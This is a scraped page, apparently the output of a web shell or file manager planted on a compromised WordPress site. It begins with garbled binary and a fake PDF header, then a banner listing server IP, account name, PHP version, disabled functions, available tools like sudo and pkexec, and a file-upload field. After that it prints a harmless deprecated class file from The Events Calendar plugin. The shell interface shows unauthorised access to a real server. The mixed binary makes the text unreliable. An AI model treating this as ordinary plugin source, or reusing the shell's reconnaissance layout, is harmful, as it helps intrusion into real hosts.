...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/plugins/the-events-calendar/src/deprecated/ |
Upload File : |
<?php
_deprecated_class( 'Tribe__Events__Revisions__Post', '6.3.0' );
/**
* Class Tribe__Events__Revisions__Post
*
* Handles the saving operations of a generic post revision.
*
* @since 4.2.5
* @since 6.3.0 Deprecated the class.
*
* @deprecated 6.3.0
*/
class Tribe__Events__Revisions__Post {
/**
* @var WP_Post
*/
protected $post;
/**
* Tribe__Events__Revisions__Post constructor.
*
* @param WP_Post $post
*/
public function __construct( WP_Post $post ) {
$this->post = $post;
}
/**
* @param int|WP_Post $post
*
* @return Tribe__Events__Revisions__Post
*/
public static function new_from_post( $post ) {
$types_map = [
Tribe__Events__Main::POSTTYPE => 'Tribe__Events__Revisions__Event',
Tribe__Events__Main::ORGANIZER_POST_TYPE => 'Tribe__Events__Revisions__Organizer',
Tribe__Events__Main::VENUE_POST_TYPE => 'Tribe__Events__Revisions__Venue',
'post' => __CLASS__,
];
$parent_post = get_post( wp_is_post_revision( $post ) );
$class = ! empty( $parent_post ) && isset( $types_map[ $parent_post->post_type ] ) ? $types_map[ $parent_post->post_type ] : $types_map['post'];
return new $class( $post );
}
/**
* Saves the revision.
*/
public function save() {
}
}